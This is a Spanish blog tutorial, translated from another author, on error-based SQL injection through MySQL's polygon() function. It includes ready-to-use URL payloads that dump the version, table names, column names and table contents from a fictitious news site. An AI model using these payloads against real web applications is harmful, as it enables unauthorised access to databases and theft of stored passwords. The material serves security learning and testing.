domingo, 14 de febrero de 2016

Error Based SQLi Polygon

Introduccion

El principio de un ataque basado en error es el mismo que uno basado en UNION, un campo de entrada es suministrado en la aplicacion web que es utilizado para construir una consulta contra una base de datos, incluyendo la consulta SQL en el campo de entrada, la cual altera el comportamiento de la consulta original, pero el retorno de datos esta fuera del alcance. Por ejemplo, una funcion de busqueda para encontrar articulos de noticias podria ser capaz de devolver informacion sobre la estructura de la base de datos e incluso campos especificos, tales como contraseñas u otra informacion sensible. 

En un ataque basado en la metodologia UNION es descubrir los datos que estan siendo arrojados por la base de datos para las partes visibles de la aplicacion web y luego la union de la existente como resultado de sus propios datos. Si la pagina solo muestra el primer resultado en el final del conjunto tu puedes alterar las condiciones en las que se ha seleccionado los datos originales para devolver cero como resultado por lo que el conjunto final solo contiene los datos personalizados.

Bajo ciertas condiciones, este metodo puede no funcionar, aqui hay algunos ejemplos:


* Si hay algun tipo de logica para comprobar que el parametro de entrada es valido, esto hace que deje de hacer la declaracion SQL original y seleccione cero resultados. Si estos se encuentran en una pagina web que solo puede mostrar un numero fijo de los resultados a continuacion, los datos agregados son ignorados.

* Si ninguno de los resultados son devueltos a la pantalla directamente, es posible que los resultados podrian ser interpretados a traves de alguna otra logica primero y no aparecera en la pagina como texto sin formato, sino mas bien desencadenar algun otro cambio. 

* Si el punto de entrada de la inyeccion esta dentro de una consulta anidada puede encontrarse con que despues de enumerar el numero de columnas utilizando ORDER BY que un UNION SELECT todavia arroje un numero de columnas no valido, es probable que haya una consulta SELECT anidada.

En estos casos donde no se puede devolver datos arbitrarios de nuevo a la pantalla lo que necesita es cambiar a una inyeccion SQL basada en errores.

Errores de MySQL

Los errores de MySQL pueden ser suprimidos sin embargo si estan habilitados y el mensaje de error se devuelve en la pantalla en cualquier lugar de la aplicacion web tiene otro metodo de extraccion de datos, como el mensaje de error puede contener partes de instruccion SQL y si parte de la declaracion ya ha sido evaludada podria reflejar los datos reales de la base de datos.

Cuando el servidor SQL se presenta con una consulta que resolvera las partes mas anidadas primero antes de evaluar el exterior hasta que se termine toda la consulta o hasta que choca con un error. Esto significa que si una consulta SQL anidada diseñada para crear error, los datos seran seleccionados primero y luego de regreso en pantalla lo mostrara dentro del mensaje de error. Esto es una metodologia basica en una ataque de inyeccion SQL basado en error.

SQL Geometrico

Hay numerosas maneras de realizar Inyecciones SQL basadas en error, un metodo recientemente descubierto implica el uso de las funciones geometricas incorporadas en MySQL. Polygon() le permite definir un poligono dada una serie de vertices o puntos, los puntos se definen como un par de coordenadas X,Y usando doble presicion, por ejemplo:

SQL:

point(10.75,21.37);

Los poligonos se definen como una serie de puntos, por ejemplo:

SQL:
 
polygon((0 0, 1 1, 2 2, 3 3, 4 4),(5 5, 6 6, 7 7, 8 8,9 9)); 

Si proporciona algunos datos mal formados como:

SQL:

polygon(1); 
 
Obtendra un error como el siguiente:
 
Error:

ERROR 1367 (22007): Illegal non geometric '1' value found during parsing

Tenga en cuenta que el valor '1' se refleja de nuevo en el mensaje de error. Vamos a tratar de seleccionar algo que requiere que el servidor SQL para evaluar los datos de la base de datos como la variable version.

SQL:

polygon(select @@version);

Por desgracia, esto nos da el error siguiente: 
  
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select @@version)' at line 1

En lugar de eso, probemos seleccionar la version en una tabla temporal, que llamaremos 'a' y luego seleccionamos el valor de eso, por ejemplo:

SQL:

polygon(select * from(select @@version)a)

Ahora conseguimos el mensaje de error:

Unknown error: 1367 (Illegal non geometric '(select `a`.`@@version` from (select @@version AS `@@version`) `a`)' value found during parsing).

Esto esta mas cerca de lo que necesitamos, estamos seleccionando el numero de version correcta, que esta siendo evaluada por el servidor SQL, sin embargo, no se devuelve el valor real en el mensaje de error, en lugar de eso se esta devolviendo el nombre por defecto de la tabla temporal, cuando no se indica explicitamente el nombre por defecto es el primer valor de los resultados. Podemos repetir este truco y este unido en otro select por ejemplo:

SQL:

polygon((select * from (select * from (select @@version)a)b))

Ahora estamos seleccionando el valor de la tabla temporal 'a' en una nueva tabla temporal 'b', esto obliga a la tabla 'a' a ser evaluada, ahora, cuando obtenemos un error contiene el numero de version real. Al hacer la seleccion embebida o anidada en la consulta SQL los mas intimos (inner) se evaluan primero por lo que los valores pueden ser utilizados por SELECT exteriores, si el valor que esta tratando de extraer con el uso de SQLi no se ha evaluado en el mensaje de error, basta con utilizar este truco de seleccionar (SELECT) el valor dos veces. El error ahora debe ser algo como esto:

Error:

Unknown error: 1367 (Illegal non geometric '(select `b`.`@@version` from (select '5.50.00' AS `@@version` from dual) `b`)' value found during parsing).         

Ahora podemos notar que en el mensaje de error tenemos los datos legibles tirados desde el servidor, hemos seleccionado la version 5.50.00, de que manera pondriamos esto en un ejemplo ficticio, suponga que existe el parametro noti (el verde es la parte estetica de la direccion URL, el rojo es la entrada proporcionada por el usuario).

URL:

http://urlficticia.com/noticias/index.php?noti=50

Podemos intercambiar el valor 50 para el parametro noti, que se ve asi:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from (select @@version)a)b))


Seleccion de los datos

Se puede extender este concepto basico con un SQL arbitrario, por lo que todo los mismos trucos para trazar una base de datos y seleccione los datos de trabajo como es de esperar, si desea seleccionar una lista de tablas del esquema por defecto:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))

Para encontrar las columnas dentro de estas tablas, se puede utilizar lo siguiente NOMBREDELATABLA es el nombre de la tabla que le interesa. Recuerde codificar en hexadecimal el valor.  

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(column_name) from information_schema.columns where table_name=NOMBREDELATABLA))a)b))

Y finalmente seleccionamos los datos:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(0x0a,COLUMN1,0x3a,COLUMN2,0x3a,COLUMN3) from NOMBREDELATABLA)a)b))


Este tutorial no es de mi autoria, ha sido una traduccion de: http://frostyhacks.blogspot.co.uk/2014/11/error-you-have-sqli-in-your-polygons.html


Saludos!

1 comentario: